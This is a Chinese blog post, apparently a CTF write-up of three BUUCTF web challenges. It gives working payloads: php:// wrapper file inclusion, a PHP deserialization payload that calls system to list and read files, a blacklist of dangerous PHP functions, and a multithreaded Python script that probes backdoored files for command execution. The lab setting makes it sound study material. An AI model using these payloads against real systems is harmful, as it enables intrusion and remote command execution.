您当前的位置: 首页 > 

姜小孩.

暂无认证

  • 5浏览

    0关注

    51博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

BUU刷题Day6

姜小孩. 发布时间:2022-03-24 21:21:27 ,浏览量:5

目录

[BJDCTF2020]ZJCTF,不过如此

总结:

[网鼎杯 2020 朱雀组]phpweb

总结:

[强网杯 2019]高明的黑客

总结:

[BJDCTF2020]ZJCTF,不过如此

上来看到源码

这里浅审一下,

有两个GET型参数text和file,并且要求

file_get_contents($text,'r')==="I have a dream"

file_get_contents将整个文件读入一个字符串,如果失败,file_get_contents() 将返回false,要读入我们就用伪协议php://input绕过,构造成

?text=php://input

同时post上传一个I have a dream

看到了这个include我就兴奋了,文件包含!利用php://filter伪协议读取即可。

最后构造成

?text=php://input&file=php://filter/read/convert.base64-encode/resource=next.php

base64解密出

一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。在上面的例子中 hello 使用了两个美元符号($)以后,就可以作为一个可变变量的变量了。例如:

 
 

这时,两个变量都被定义了:$a 的内容是“hello”并且 $hello 的内容是“world”。因此,以下语句:

 
 

与以下语句输出完全相同的结果:

 
 

它们都会输出:hello world。

\1在正则匹配的搜索与替换中实际上指的是第一个子匹配项

[网鼎杯 2020 朱雀组]phpweb

刚进去啥也没有然后很疑惑地他就自己刷新了一下然后报了个错,过几秒时间还发生变化,

Warning:  date(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in /var/www/html/index.php on line 24
2022-03-24 12:02:00 pm

 

抓个包吧!

发现两个参数!没见过,但是凭感觉认为可以命令执行,我就试着执行一下但是可能禁用了某些函数,读了一下index.php源码发现ban了

"exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter","array_walk","array_map","registregister_shutdown_function","register_tick_function","filter_var","filter_var_array","uasort","uksort","array_reduce","array_walk","array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"
  

打扰了,那我只能另寻思路,之前总看到var_dump等,但是一直没了解var是什么,百度了一下发现就是public,php中类属性必须定义为共有,受保护,私有之一。所以如果没有那三个修饰符,必须用var,var就是public。。。为什么不直接用public。

另找思路的路上看到了个类,想到了反序列化,说做就做,因为这个过滤纸对我们输入的func进行过滤,Test的输入并没有被过滤,所以我们改一下payload!

O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

 

当前目录也没有,就很烦。。改一下吧!

最后!

O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

 

总结:

总能有思路的,实在不行就抓个包看看包的情况!var就是public,浅浅的复习了一下反序列化,和find命令

债见!

[强网杯 2019]高明的黑客

打开页面发现让我down个源码

down下来之后浏览了一下,文件名全被改了,就很麻烦,也没有目录结构,既然是被黑客黑了,那就应该有后门,D盾扫一下,除了好多

随便找个四级的搞一下试试吧,扫了3002个文件,可疑2999个,这要是挨个审下去就明天了啊,找了下大佬的WP,原来是写了个脚本,但是buu不让扫,那就只能本地搭建环境进行测试,干!

借用大佬的脚本研究了一下

import requests
import os
import re
import threading
import time
​
requests.adapters.DEFAULT_RETRIES = 8 #设置重连次数,防止线程数过高,断开连接
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
​
sem=threading.Semaphore(30) # 设置最大线程数 ,别设置太大,不然还是会崩的挺厉害的,跑到关键的爆炸,心态就爆炸了
​
url = "http://7cfcd16d-dd76-4421-8906-b9c234c18daf.node3.buuoj.cn/"
​
# 下载的源文件路径,根据自己的路径修改
path = r"C:\Users\lenovo\Desktop\www\\"
​
​
rrGET = re.compile(r"\$_GET\[\'(\w+)\'\]") #匹配get参数
​
rrPOST = re.compile(r"\$_POST\[\'(\w+)\'\]") #匹配post参数
​
fileNames = os.listdir(path) # 列出目录中的文件,以每个文件都开一个线程
​
​
local_file = open("flag.txt","w",encoding="utf-8")
​
def run(fileName):
    with sem:
        file = open( path + fileName, 'r',encoding='utf-8' )
        content = file.read()
        print("[+]checking:%s" % fileName )
        #测试get的参数
        for i in rrGET.findall(content):
            r = session.get( url + "%s?%s=%s" % (fileName,i,"echo ~h3zh1~;") )
            if "~h3zh1~" in r.text:
                flag = "You Find it in GET fileName = %s and param = %s \n" % ( fileName, i )
                print(flag)
                local_file.write(flag)
        #测试post的参数
        #for i in rrPOST.findall(content):
        #   r = session.post( url + fileName , data = { i : "echo ~h3zh1~;" } )
        #   if "~h3zh1~" in r.text:
        #       flag = "You Find it in POST: fileName = %s and param = %s \n" % ( fileName, i )
        #       print(flag)
        #       local_file.writelines(flag)
if __name__ == '__main__':
    start_time = time.time() # 开始时间
    print("[start]程序开始:"+str(start_time))
    thread_list = []
    for fileName in fileNames:
        t = threading.Thread( target=run , args=(fileName,) )
        thread_list.append(t)
    for t in thread_list:
        t.start()
    for t in thread_list:
        t.join()
        
    end_time = time.time()
    local_file.close()
    print("[end]程序结束:用时(秒):"+str(end_time-start_time))

多线程!不愧是大佬!

总结:

主要考的是python能力,再去复习一下了!债见!

感谢勤奋的自己,感谢BUU提供优质的题

关注
打赏
1652274937
查看更多评论
0.0469s